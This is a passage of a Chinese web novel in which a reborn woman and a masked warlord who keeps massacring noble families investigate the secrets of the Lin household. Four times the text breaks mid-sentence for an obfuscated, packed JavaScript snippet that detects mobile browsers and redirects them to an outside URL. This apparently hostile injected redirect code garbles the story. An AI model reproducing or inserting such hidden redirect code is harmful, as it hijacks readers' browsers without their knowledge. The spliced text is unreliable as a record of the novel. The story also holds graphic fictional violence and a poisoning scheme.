小二就候在楼下,很快上来。
“客官,您有什么吩咐?”
“给她来份早点。”
“好嘞!”那小二扭头正要踏出房间,忽地又转回来:“客官,店里早点有馄饨和面条,客官要哪样?”
还有的挑?
夏晴宛稍一思索,道:“馄饨吧。”
“好嘞,那您呢?”他又转向了萧夺。
“......面条吧。”
等小二离开,夏晴宛才看着萧夺,一脸的若有所思。
“你是那种,选东西做事情一定要和别人不一样的性格么?”
萧夺冰冷的眼神飘过来:“你话太密了。”
夏晴宛默默闭嘴。
很快,香喷喷热腾腾的馄饨和面条就端了上来,吃完早饭,他们再次出门,这一回,夏晴宛是自己骑马过去的。
按时抵达京城,破城,包围周家。
火光摇曳中,出身林家的周家三夫人一眼便认出了夏晴宛,她顿时惊得睁大了双眼,难以置信地颤声问道:
“晴宛?!你、你怎会在此处?!”
她的目光惶然移向夏晴宛身旁如鬼魅般无情萧夺,泪水瞬间夺眶而出,颤颤巍巍的手愤怒地指向夏晴宛:
“林家在你孤苦无依时收留了你,养育你至今,你竟勾结这等豺狼之徒,引兵屠戮故旧!忘恩负义的狗东西,你不得好死!”
夏晴宛:“......”
萧夺面无表情,冰冷下令:“杀。”
寒光一闪,利刃精准地割开了周三夫人的脖颈。鲜血顿时喷涌而出,她被这巨大的力道带得踉跄旋转了半圈,旋即软软瘫倒在地。
一旁的周三公子发出一声凄厉的哭嚎,连滚带爬地扑向夫人:“夫人!夫——”
一柄长刀贯穿了他的胸膛,他浑身一颤,无声无息地倒在了妻子身上,鲜血迅速染红了二人的衣襟。
夏晴宛:“......”
不是,我说,有点人道主义好么?
她瞅了眼萧夺,萧夺面无表情挪开视线。
周家人比郑家都好杀一点,仿佛只是顷刻之间,整个院子都没有了生息。
夏晴宛嫌里头腥臭,走到院门口坐在门槛上,望着月亮等。
等啊等,终于,熟悉的夜枭啼鸣划破夜空。
一股让她浑身发冷,仿佛灵魂深处被冻结的寒意包
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596180|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裹住了她,她的神智迅速模糊溃散,如同被拖入一场永无醒转之日的冰冷噩梦,朝着无边黑暗不断下坠......
——
“我今天想吃面条。”
“......馄饨。”
面对夏晴宛怪异的目光,萧夺道:“我只是今天恰好想吃馄饨而已。”
“......”其实,你也可以不解释的。
疾奔,攻城,包围王家。
杀!
夜枭啼鸣如约而至。
——
“我说差不多了吧,你都轮流杀了一遍了,可以考虑别的途径了吧?”
“不。”萧夺擦拭着剑,幽冷的眼底毫无情绪:
“还差林家没杀。”
夏晴宛腾地站了起来,嗓门不自觉拔高:“林家?你还要杀林家?这几次重生还不够你认清现实么?”
萧夺不咸不淡地睨了她一眼:“你怕了?”
“......”夏晴宛忍着气坐回去,人在无语的时候是真的会笑,她笑着说:
“行,你就试吧,我就是怕你这一遍遍的累着。”
萧夺挑眉,语气轻飘飘的:“我不累啊,你累了么?”
夏晴宛皮笑肉不笑:“你杀人的都不累,我一个旁观者有什么好累的。”
“好啊,那就都试一遍。”
“好啊,都试一遍。”
那就都试一个遍,免得他抱有不切实际的幻想!
小二进来时,夏晴宛已经收起了情绪,如常地道:“馄饨。”
“馄饨。”
她猛地看向萧夺,萧夺没有说话,兀自低着头继续保养他的剑。
杀其他家还好,杀林家的时候,她确实不方便旁观,就在门外等着,不过即使看不到,院内不断传来的凄厉哀嚎与绝望悲鸣还是让她生生地起了一阵阵鸡皮疙瘩。
夏晴宛好不容易挨到所有的声音都消失了,脚步声自身后响起,萧夺从地狱般的庭院中缓步走出。
他的玄色衣袍已被鲜血彻底浸透,湿沉地贴在身上,色泽暗得发黑,仍在不断向下滴落着粘稠的血珠。面具边缘乃至下颌都溅满了斑驳的血迹,令他整个人仿佛刚从血池中踏出。
他甚至未曾擦拭一下手上的血污,只抬眼看向她,目光透过面具,平静无波。
夏晴宛看得一阵恶寒,惊觉这人真是个魔鬼,挪开视线,道:“等吧。”
月亮从云层外透出,清亮的光线如同女神温柔的恩赐,让世间万物都受其恩泽。
夜枭的啼鸣如约而至。
5. 合作开始
“面条。”
夏晴宛坐下,道:“现在你死心吧。”
“你想一想,你是什么人?是即将君临天下、御极四海的帝王。而你手上若染尽无辜之血,杀业太重,必损国运,折损天命。”
“老天爷降下这轮回的神迹于你我之身,就是因为它不愿见你犯下这滔天杀业,自毁长城。这并非诅咒,而是警示,是垂怜,是老天爷在给你回头的机会。”
她苦口婆心地劝说着,竭力将一切归因于“天意”,试图借这虚无缥缈却至高无上的“神”之名义,撼动他铁石般的杀心。
站在窗边的男人忽然发出一声嗤笑。
那笑声里淬满了冰冷的讽刺与戾气,面具之下,他目光如刀锋般刮过夏晴宛的脸,声音阴鸷得仿佛能冻结空气:
“你知道当朝那位皇帝至今犯下过多少杀业么?你又知道这四大家族之所以有今日荣光,是踏着多少人的尸骨与血汗垒砌而成的?”
“他们的每一份显赫,都沾染着数以万计平民的鲜血,那些人在贫苦中被榨干最后一滴血汗,在屈辱中被无声屠戮的时候,老天爷何在?它可曾降下过半分‘神迹’阻拦?!如今,轮到这些蛀虫偿命了,老天反倒跳出来阻拦了?若天道果真如此不公——”
他声音陡然一厉:
“我宁捅破这天!”
夏晴宛沉默了。
她又何尝不知道这个道理,所有权贵们光鲜亮丽的外表都是由苛刻剥削平民的血汗而来,要是萧夺有朝一日当真临朝,一一审判这些人的罪孽,按照律法处以极刑,她绝对没有半句话说。
可屠杀的不只是有罪之人,还有许许多多无罪之人,甚至于同样是平民的部分下人,这些人又犯了什么错?
再者说,先不说有罪无罪,该杀不该杀,那他杀了自己就要重生!
这个事情总得解决的吧?
夏晴宛心累道:“那你想如何?”
萧夺见她认同自己所想,周身那骇人的戾气稍稍收敛,又转回那冷冰冰的模样:
“不过,你确实提醒了我一件事。或许,老天爷不让我杀了他们,是觉得让他们就这般死了,太过便宜。”
“像他们这等盘踞多年的世家,背地里不知藏着多少龌龊,或许犯下过连杀头都不足以抵偿的罪孽。既然他们一时半刻死不成,那便去查清他们究竟隐藏着何等肮脏的秘密。”
夏晴宛一听,觉得此话颇有道理。
横竖自己眼下也无计可施,若他们中真有人犯下滔天大罪,或许萧夺一怒之下便会专注于清算首恶,其余人便可逃过一死,那自己也算积下阴德。
至于那些确有其罪的,死了也是咎由自取,怨不得旁人。
但她仍小心翼翼望向萧夺,试探道:“那……在查清他们的秘密之前,你是否都不会对四大家族动手?”
她那点心思,萧夺一眼便已看穿。他冷嗤一声:
“不,两日后的屠戮计划我早已下令,绝不会更改。也就是说,你我只有两日时间。不过,好消息是——我们拥有无尽的两日。”
“......”
行吧,就像他说的,他们拥有“无尽”的两日。
“好,就这么办!”
这时小二端来早点,两人暂且放下“公事”不谈,沉默地用起了早点。因为这会不急着去“杀人”,两人动作斯文,慢条斯理。
吃到一半,忽闻敲门声响起:“将军。”
“进。”
一位年约四十、身着青灰长衫的文士步入室内。他面容清癯,眼神沉静通透,透出着一股智慧气息。夏晴宛曾听闻萧夺身边有一位姓秦的谋士,极受倚重,萧夺对其意见多有采纳,可能便是眼前之人了。
那人目光掠过桌旁的夏晴宛时,明显露出惊讶神色:“这位姑娘是......”
夏晴宛不知道如何介绍自己,便看向萧夺,由他决定。奈何萧夺并未解释她的身份,只是道:
“不重要的人。”
“......”
什么不重要的人,我是能决定你生死的人好吗?
这话夏晴宛只敢腹诽,她默默低头吃着面条,假装自己不存在。
那文士见萧夺无意驱赶此女,便不再多问,转而道:“听闻将军即将启程赶往京城,不知所为何事?可是计划有变?”
“先生不必忧心,此行只为探听虚实,并非贸然行动。”
文士闻言,眼中似是极快地掠过一丝失望,却仍垂首恭谨道:“如此,我便放心了。”他朝萧夺行了一礼,又对夏晴宛礼貌性地笑了笑,随即快步离去。
他走后,夏晴宛有一眼没一眼地偷偷瞅着萧夺,萧夺不耐,道:
“你想说什么?”
夏晴宛索性直言:“我看那位先生的神情,似乎也不赞成你大肆屠戮。他一看便是明理之人,你应该多听听他的劝谏。”
萧夺冷冷瞥她一眼,目光如刃。夏晴宛立刻抬手比了个噤声的动作,乖乖闭了嘴。
两人用完早膳便即启程前往京城,和此前的每一次不同,这一回,萧夺只带了四个护卫,其中便有那个曾数次轻易制住夏晴宛的高大男子。
这几名护卫显然对夏晴宛的来历和身份充满了好奇,但迫于萧夺的威严,无人敢出声询问,只时不时偷偷投来探究的目光。
夏晴宛只作浑然不觉。
“你说你……是寄居在林家的人?”路途无聊,萧破天荒地起了些闲谈的兴致,淡淡开口。
夏晴宛闻言眼睛一亮,立刻抓住机会为家人说情:
“是。林家老太太最是慈祥心善,当年见我孤苦,不顾族中非议,执意将我接回府中抚养,待我视如己出,嘘寒问暖,从未短缺。”
“林家家主为人端方持重,御下严明,夫人更是温婉贤淑,待下宽和,还有家中几位姐妹,虽非血亲,却与我一同长大,性情或活泼或娴静,都是心地纯善,天真无邪之人。”
她一边细数,一边小心观察着萧夺的神色,试图从那张冷硬的面具下窥得一丝动摇。
当然,那是不可能的。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596181|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你说,你已经重生了无数回,具体有多少回?”
“太多了,我自己都记不清了。”
“哦,那你都试过什么手段?”
“就很普通的带着家人逃跑啊,或是抱着年幼的弟妹藏在地窖。”说到这,夏晴宛脸上不禁浮现出哀怨神色:
“你不止屠戮,你简直将整个京城翻了个底朝天,掘地三尺,让人无处可躲,无隙可藏。”
萧夺挑了挑眉,俨然是对自己缜密的表现非常满意。
倒是边上几个侍卫听着他们说什么“屠杀”,“重生”,“藏起来”的话,听得挠心挠肺的,又不敢多问,耳朵都竖起来了。
“你是什么时候开始接近我的?”
来了来了!她就知道,萧夺没这闲情逸致关心自己如何自救,他在意的,也不过是他自身私密有无被探查出来而已。
两人如今结成同盟,夏晴宛不想惹他不悦再生事端,再说,这事也没什么好隐瞒的。
“其实我也就才刚刚接触你,为了查到你在镇上的消息,就花了我好几次重生。那之后,我想尽办法接近你,然而你那客栈宛若铁桶一块,我根本靠近不了。”
“你有意识那一次,是我第三次这么近距离接近你。第一次我看到你真容,才愣住,你顺手就将我杀了。”
“第二次......”
说到第二次,她忽然卡壳。
萧夺正听得专注,察觉她的凝滞,扭头看她:“第二次呢?你干了什么?”
“呃......”夏晴宛脸上露出几分做坏事被正主抓包般的尴尬:
“其实也没干什么,我就是想色诱你,求你网开一面放过林家人而已。”
隔着面具,夏晴宛也能看到他脸上无语的神色。
“所以你失败了么?”
这还用说吗?我要成功了,你还能好生生的在这跟我说说话吗?
萧夺盯着夏晴宛,目光在她脸上流转了数回,若有所思地说:
“确实应该如此,以你的姿色,断不可能成功。”
不是——这话夏晴宛就不爱听了。
她忍不住拔高嗓门道:“我的姿色怎么了?我可是出门在外都有纨绔调戏的美色!”
萧夺冷哼一声:“你的人生已经可悲到只能拿这种事炫耀了么?”
“......”
此后,夏晴宛都不想和他说话了。
行至京城郊外时,天色已彻底暗下,众人只得在野外露宿。跳动的篝火旁,夏晴宛的目光不由自主地落在萧夺脸上那副冰冷的面具上,怔怔出神。
天下皆知南王以面具覆面,若他就这般入城,未免太过招摇,必然引人注目。
翌日清晨,她便知晓了答案。
夏晴宛指着萧夺脸上原本被面具遮盖、如今却暴露在晨光下的肌肤区域,迟疑地问道:“这……是什么皮?”
萧夺冷冰冰地瞥了她一眼,声音里没有一丝波澜:
“人皮。”
“……”
6. 算了算了,男人嘛
京城高大的城门近在眼前,虽因皇帝南逃,守备不如往日森严,但依旧有兵丁持戟而立,例行检查着往来人等的信引。
夏晴宛跟在萧夺身后,心下正暗自思忖他们这一行六人,要如何在不暴露身份的情况下通过盘查。
便见萧夺身侧一名侍卫神色自若地走上前,将一个沉甸甸的锦袋塞到守卫手中。
那守卫只熟练地掂了掂分量,便看也不看他们几人,只随意地挥了挥手,一行人便在这众目睽睽之下,如同回家般畅通无阻地走进了这座帝国的心脏。
“......”
看着面露绝望之色的夏晴宛,萧夺冷嘲道:“如此守卫,何以不破。”
“......”
无言以对的夏晴宛决定放弃争辩。
入了城,萧夺对跟随的四个侍卫交代了几句,四人很快散开。
夏晴宛站在秋日上午的大太阳下,问:“那个,我们要怎么展开调查?”
萧夺气定神闲:“我自然有办法。”
他说有办法,却只是领着夏晴宛进了城中一家颇为热闹的茶楼,拣了个楼上临窗的雅座坐下,不紧不慢地斟起茶来。
日头渐渐升高,眼看辰时已过,到了巳时正刻。夏晴宛暗自焦灼,几次想开口都忍住了。
忽见楼下街面出现一个熟悉的身影,竟是林家七郎带着个小仆,正优哉游哉地踱步而来。
夏晴宛猛然想起,这位七哥最是痴迷听说书,尤其爱听《忠侠传》,而今日这茶楼说书先生要讲的,恰巧就是这部书!她不由下意识地看向对面稳坐如山的萧夺。
这时,一匹受惊的马嘶鸣着从长街另一端狂奔而来,直直冲向林七郎主仆二人,眼看惨剧即将发生,一道玄色身影如疾电般自窗口掠下,一把推开惊呆的林七郎,自己却“砰”地一声重重撞在路边的货摊上,杂物顿时散落一地。
夏晴宛:“......”
林七郎惊魂未定,又见“恩人”受伤,忙不迭上前搀扶这位“舍身相救”的恩人,连声道谢。
两人立在街边说了几句话,忽见林七郎一脸感激与坚持,竟搀扶着“受了伤”、“虚弱”的恩人,转身便往林府的方向走去。
“......”
高,实在是高!
萧夺由林七郎带进了府里,夏晴宛便只能自个人回去。
细算起来,自老太太寿辰那日她匆忙离去,至今已有五日。此前她虽以抄写经书为由,向照看她的丫鬟含糊交代过一句,随后便不管不顾地冲出了林府。那时她满心满脑都是七日后的那场屠杀,任何旁枝末节都被抛诸脑后。
如今重回府邸,自然免不了一番盘问。
她才刚踏进林府大门,就在前院撞见了管家。
管家身后还跟着两位中年妇人,她们衣着虽朴素,料子却是细软的棉布,浆洗得十分干净。引人注目的是,这两人面容异常白皙细腻,双手更是保养得宜,皮肤光滑鲜亮,透着健康的红晕,腕上还各戴着一只成色不错的银镯。
这通身的气色与略显寒素的衣着形成了鲜明对比,不由让夏晴宛多打量了两眼。
管家见了她,立刻迎上来,脸上堆着惯有的恭敬笑容:“表姑娘,您可算回来了!这几日您都上哪儿去了?老太太和夫人们都问起过呢。”
夏晴宛按早已想好的说辞答道:“我去城外的慈恩寺为祖母抄写经文祈福了,想着心诚则灵,便多待了几日。”
管家连连点头,奉承道:“表姑娘真是有心了,老太太知道定然欣慰。”
夏晴宛目光转向那两位妇人,顺势问道:“这二位嬷嬷是……?”
“哦,这是请来府中教导小姐们礼仪的嬷嬷。”管家笑着解释。
夏晴宛心中不由升起一丝疑惑。林家是京城有头有脸的人家,内宅本就聘有从宫中荣退的老嬷嬷,规矩礼仪方面是顶顶好的,为何还要额外从外头请人?而且看这两位的气质,似乎也与寻常的教养嬷嬷不甚相同。
但她此刻心系调查之事,无暇深究,只点了点头:“原是如此。”便欲告辞离开。
就在这时,其中一位嬷嬷却直直地看向夏晴宛,忽然开口赞道:“这就是府里的姑娘?生得真是标致……”
话未说完,管家脸色倏地一沉,厉声斥道:“多嘴!哪里学的规矩,主子问话才答,何时容得你随意插嘴了?!”
那嬷嬷立刻噤声,低下头去,不敢再言语。
管家旋即又换上一副笑脸,对夏晴宛道:“表姑娘您别见怪,新来的下人不懂规矩。您连日劳顿,快回去歇着吧。”说罢,便引着那两位嬷嬷匆匆往内院去了。
夏晴宛站在原地,望着他们离去的背影,歪了歪脑袋,心中那点异样的感觉又浮现出来,但终究没想出个所以然,只得摇摇头,继续朝自己的小院走去。
等她来到安置客人的偏院,见到了萧夺时,他正一脸气定神闲地坐在石桌旁,慢条斯理地烹水沏茶,袅袅热气伴着清雅茶香四溢开来,好一副闲散模样。
夏晴宛忍不住上前问道:“你方才同七哥说了什么?”
“我不过是告诉他我是来京城游历的游侠,又碰巧身上的钱财都用完了而已。”
夏晴宛哑然,七哥本就对江湖游侠有好感,加之眼前之人对他有“救命之恩”,收留这位“落难恩人”在府中暂住修养,确是顺理成章之事。
“那我们接下来要做什么?”
“接下来......”正巧这时,下人端来了午餐,萧夺看了眼夏晴宛,指了指身后房间。等仆人端着饭菜到来时,院中唯有萧夺一人。
萧夺面对仆人却也温和,矜持颔首道:“多谢。”模样倒有几分文人雅士的端庄。
夏晴宛躲在屋内,透过门缝瞧见这一幕,忍不住腹诽:杀人的时候可没见你这么有礼貌。
等仆人走了,夏晴宛从屋里出来,两人大眼瞪小眼了片刻,萧夺垂眸看着桌上精致可口的饭菜,淡淡出声:
“没你的份。”
“谁要啊!!”
夏晴宛怒气冲冲出了门,萧夺挑了挑眉,拾起筷子,开始安静享用饭食。
——
待二人在各自房中用了午饭,才重新于偏院汇合。
林家老祖宗刚过完七十八寿辰,因她老人家尚在,膝下三个儿子并未分家,仍共居于此。
长子便是当今林家家主,娶有一妻二妾,育有三子四女;
次子与三子则共育有三子五女,日前所见的林七郎,便是这一代男丁中年纪最小的,方才十六,下面尚有三位待字闺中的妹妹,其余女儿皆已出嫁。
依常理推断,若一个家族中有人犯下滔天罪业,多半是男子所为。故此,二人首先便将目光投向了家中的诸位男丁。
林家家主自然成了首要目标,奈何他因老毛病头疼发作,一整日都在房中静养,看不出什么。
二人正思量下一步该如何,只见林家大郎步履匆匆地从后院角门而出,神色间似有几分不易察觉的急切。萧夺眸光微动,朝夏晴宛递去一个眼神:
跟上去。
他们悄然尾随其后,穿过数条街巷,最终见林家大郎拐进一处僻静的胡同。夏晴宛不由心生疑惑,这里既没有林家产业,也不是他平日办公应酬之所,来这等地方做什么?
却见他轻车熟路地停在一座小巧的宅院门前,朱漆大门应声而开,里头的下人见是他来,脸上立刻堆起熟稔又热切的笑容,恭敬地将人迎了进去。
夏晴宛抬眼打量这院落,但见粉墙高筑,墙内一枝繁茂的石榴树探出头来,枝头挂满了沉甸甸、红得刺眼的果实。她盯着那艳红的石榴,心头莫名一跳,一个不甚好的念头腾地跳了出来。
她正思虑,忽然腰间一紧,萧夺揽住她的腋下,足
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596182|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下发力,瞬间带着她腾空而起,利落地翻上了高墙!
骤然腾空的不安感和失重感让夏晴宛浑身寒毛倒竖,心跳如擂鼓。她吓得几乎失声惊叫,慌忙死死捂住自己的嘴,强行把声音堵在喉咙里。
两人停在一个小院的墙上,夏晴宛双脚刚一沾地,立刻对萧夺怒目而视,从牙缝里挤出压抑的低语:
“下次,劳烦提前知会一声!”
萧夺抱臂而立,朝院内抬了抬下巴,示意她看去。
夏晴宛顺着他示意的方向低头望去,只见下方庭院中,林家大郎正与一名二十出头、容貌娇媚的女子紧紧相拥,两人耳鬓厮磨,情话绵绵,姿态亲昵非常。
不好的预感成真了。
俗话说的好,没亲眼见过猪跑,总还吃过猪肉。男人那点心思,左不过就是那些事儿。夏晴宛方才瞧见这院子打理得齐整雅致,处处透着精心生活的痕迹,心里便已猜度着里头住的怕是个年轻女子。若果真如此,那林家大爷与此间主人的关系,也就不言自明了。
不过猜的和亲眼见到的毕竟不一样,看二人耳鬓厮磨,夏晴宛一阵头疼。
萧夺看两人模样,也了然于胸,他虽然没说什么,但眼神中透露的信息足以让夏晴宛耳根发红。
她低声嘟囔:“那个,男人嘛......”
靠,又不是她想这样的,如果能依她所愿,她也想将这个狗男人处以男性极刑好么?
偏偏为了维护林家在萧夺心中的形象,自己还得硬着头皮为他寻借口。
萧夺抱着手臂不说话,但俨然一副无甚兴趣模样。
这时,院中相拥的两人低声交谈起来。
那女子依偎在大少爷怀中,柔弱的嗓音带着委屈地道:
“爷究竟何时才能迎我入门?如今我们的孩儿都已五个月了,我与他日夜都盼着见您,爷却只能闲时才能,若是我自个还好,可孩子如何能缺了爹爹?”
林家大郎闻言,面露难色,压低声音安抚道:
“我的心肝,你岂不知我家中那悍妇的厉害?她是王家的女儿,性子烈,娘家又势大。再耐心些时日,我已在她每日的汤药中下了慢毒,待那毒性发作,她身子骨软烂无力,便再也逞不得凶。”
“届时我立刻纳你进门,定给你和孩儿一个名分!”
那女子将脸埋在他胸前,软语催促:“爷可要加紧些……我和孩儿,可等得心都焦了。”
夏晴宛一阵头皮发麻!
她猛地低头,死死盯住院中那对纠缠的身影!
大夫人出身王家,这些年王家权势略强于林家,加之母家权势显赫,大少爷在家中向来对夫人敬重有加,二人更是育有一子一女,外人眼中堪称美满。夏晴宛无论如何也想不到,他竟会凉薄残忍至此!
一旁的萧夺也收起了那副事不关己的淡漠神情。他抬手轻抚着下颌,眼中掠过一丝兴味,仿佛看到了什么有趣的东西。
他瞅了眼身旁浑身颤抖,握紧双拳的夏晴宛,附在她耳边道:“算了算了,男人嘛!”
“男人个屁!”夏晴宛狠狠啐了一口,眼眸暗含刀片,如果眼神能够化为实质,下方两人已经死了一百遍了。
看已看完了热闹,萧夺又二话不说,夹住夏晴宛的腰就飞出了院子。
夏晴宛这会还满腹怒火,没工夫跟他计较飞之前不提醒她一声的事。
她破口大骂:“林世成你个王八蛋,伙同狐狸精毒杀自己正房夫人?你还是个人么?鸩杀嫡妻、天理不容!老天不收你我来收你,你最好别等我把事情都解决了,否则我要让你身败名裂,死无葬身之地!”
萧夺看她怒不可遏,在旁“劝”道:“算了算了,男人嘛,不都那样。要怪就怪他夫人是个心胸狭隘、善妒专横、不懂得主动为夫君纳妾的悍妇,毕竟你们林家各个都是好人。”
夏晴宛:“......”
7. 跑图中
伙同情妇毒杀原配的戏码显然不是萧夺想要的东西,两人很快离开了院子回了林家。
返回林府时,恰见周三夫人与大夫人有说有笑地从回廊处走来。
夏晴宛因方才窥破大少爷那毒杀原配的阴谋,此刻再见到温婉含笑的大夫人,心中百味杂陈,滋味难言。
二人见了她,皆关切地问她这几日去了何处。
夏晴宛只得沿用先前为祖母抄经祝寿的借口含糊应对。这时大夫人目光转向她身旁的萧夺,疑惑道:“这位是……?”
夏晴宛忙解释:“这位是七哥的客人,我方才在门口恰巧遇上。”
七郎素日里迷恋江湖侠客,时常邀些形貌各异的“奇人”入府,二人闻言果然并未起疑。
大夫人还关切道:“府里要是有照顾不周的地方,或是缺些什么,公子尽管与我说。”
萧夺颔首道:“劳烦夫人了。”
“哎呀,宛儿回来了呀。”
正说话间,又有一男子缓步踱来。他看去约莫三十上下,面容端正,眉宇间却积着一股挥之不去的倦怠,一身锦缎华服也掩不住那份被酒色财气长久浸染出的虚浮之态。正是林家二少爷。
就在夏晴宛与众人寒暄之际,她忽然敏锐地察觉到身旁的萧夺周身气息蓦地一沉,那股无形的压迫感骤然变得冰冷锐利。
夏晴宛心中一动,若有所思。
夏晴宛又和几人周旋了几句,便随意寻了个由头回了屋子。等她踏入自己那处偏僻的院落,萧夺也跟了进来。
萧夺目光缓缓扫过四下,夏晴宛这住处位于林府最偏僻的一角,原是堆放杂物的仓房,虽经打扫仍掩不住陈旧之气。其余屋子门窗紧锁,窗纸破损处露出里面堆积的旧物轮廓。唯有夏晴宛住的主卧能勉强住人,但陈设布置也甚是简单,无一不透露着朴素气息,和寻常大家闺秀的卧房截然不同。
萧夺扫视着屋内简单的桌椅和略显单薄的床铺,语气听不出情绪:“林家待你,似乎也并非十分优厚。”
夏晴宛感叹道:“能得一方屋檐遮风挡雨,衣食无忧,冷时有炭火,热天有冰鉴,已是莫大的恩情了。”
萧夺未再就此多言,夏晴宛润了润有些干涩的嘴唇,转而问道:“我们接下来该如何?”
萧夺慢悠悠地道:“老大称病闭门不出,老二在赌坊流连忘返,老三则窝在衙门里当他的闲差……如今这府中,倒只剩些与你年纪相仿的少爷小姐还在走动。你说,该如何查?”
夏晴宛对他如数家珍地道出林家三位老爷的行踪并不讶异。自七哥那桩事后,她便察觉萧夺对林府众人的动向可谓了如指掌。想来也是,他贵为南王,早在各大家族深处布下眼线,这些高门大院里的秘密,于他不过是一本随时可翻阅的书。
她正欲开口,忽闻门外传来一道清亮欢快的呼唤:
“宛儿妹妹——”
夏晴宛脸色骤变,猛地站起身,左右看了两眼,一把将萧夺推向屋角的衣柜:“快!躲进去!你快躲起来!”
萧夺蹙眉不悦道:“你做什么?”
“总之,你先藏起来!”她语气急促,不容置疑。
那柜子矮小,而萧夺高大,显然是“塞”不进去的,何况萧夺此人,也不会由她将之塞入柜中。
夏晴宛胡乱看了一眼,让萧夺藏在柜子和墙角的阴影处,自己快步走到门口。
“宛儿妹妹,你回来了!”
门帘一掀,进来一位约莫二十上下的年轻男子。他身着锦蓝色云纹长衫,腰系玉带,口衔春风,一副风流贵公子模样,正是林府五郎。
他一见夏晴宛,便亲热地凑上前来,语气殷切:“宛儿妹妹,这几日你都去哪了?叫我好生想念。”
夏晴宛不动声色地向旁退了半步,恰好避开他欲搭上来的手,垂眸道:“有劳五哥挂心,我只是去慈恩寺为祖母抄写经书了。”
“原来如此!妹妹真是孝心可嘉。”林五郎笑容更盛,又嘻嘻笑着逼近一步:
“祖母待你如亲孙,你也这般尽心侍奉。若是你能长久留在府中,伴于祖母膝下,岂不是两全其美?宛儿妹妹,你说是不是?”话音到了最后,尽显风流姿态。
这林五郎纠缠她已非一日两日,明里暗里总想娶她进门,还不是正妻,只是个妾室。夏晴宛在林府长大,对林府众人知根知底,这林五郎表面人模人样,私下里早被他父亲带着染尽了吃喝嫖赌的恶习,府中谁人不知?
夏晴宛是猪油蒙了心才会看上他,日常也多躲着他。
眼看他还要往内室张望,夏晴宛生怕他发现隐在暗处的萧夺,心头一急,忽地厉声喝道:
“住手!”
林五郎被这突如其来的一喝惊得浑身一僵,刚抬起的脚顿时缩了回去。
夏晴宛面覆寒霜,神情是从未有过的凛然:“五哥,我的话早已说得清清楚楚!你若再这般纠缠不休,就莫怪我将他你赌博欠下数千两银子的事禀告祖母和大伯母!我倒要看看,府里还管不管得了你!”
林五郎脸色骤变,方才的假笑瞬间荡然无存。
他铁青着脸,指着夏晴宛骂道:“好…...好你个不识抬举的东西!真当别人叫你一声表姑娘,你就真是个人物了?你没爹没娘,没个靠山,还想当人正头娘子不成?”
夏晴宛最恨人辱及父母,当即攥紧拳头,眼中几乎喷出火来:“我当不当得成正头娘子与你无关,再不出去我就要动手了,滚!”
林少峰被她罕见的气势慑住,脸上畏缩,只嘴上强硬了一句“你给我等着”,便悻悻离开了。
屋内一时寂静,萧夺慢悠悠地从阴影中踱步而出,唇角噙着一丝若有若无的嘲讽:
“你们林家,可真是……人才辈出。”
夏晴宛脸上发烫,却仍强自镇定:“林府男丁众多,男人大多好色,按概率计算,总难免出几个败类。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596183|187466||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
萧夺挑了挑眉,对她的“男人好色论”未置一词,只忽然定睛凝视着夏晴宛。
他的目光异常专注,带着一种诡异的探究,夏晴宛被他看得毛骨悚然,忍不住后退半步:“你……你看什么?”
萧夺一脸深沉地颔首,语气悠长:“不过现在我知道,你当初色诱我的勇气是从哪儿来的了。”
夏晴宛的脸轰一声炸开了。
——
夏晴宛踏入祖母院落时,日光正透过雕花窗棂,在青石砖上投下细碎的光斑。屋内檀香袅袅,二伯母,三伯母都在,正陪着老太太说话。
自皇帝南下,京城显贵散的散、逃的逃,亦有如四大家族这般觉得换个皇帝而已,日子还是照常过的。但乱世还是给他们带来影响,数月前便有风声,说二房三房欲趁机分家自立,自此他们往来老太太处的次数便勤了许多,无非是指望着多分一杯羹。
三伯母此刻正抱着刚满周岁的孙儿,逗弄着叫孩子给曾祖母作揖,满室皆是稚儿的咿呀之声与妇人们逢迎的轻笑。
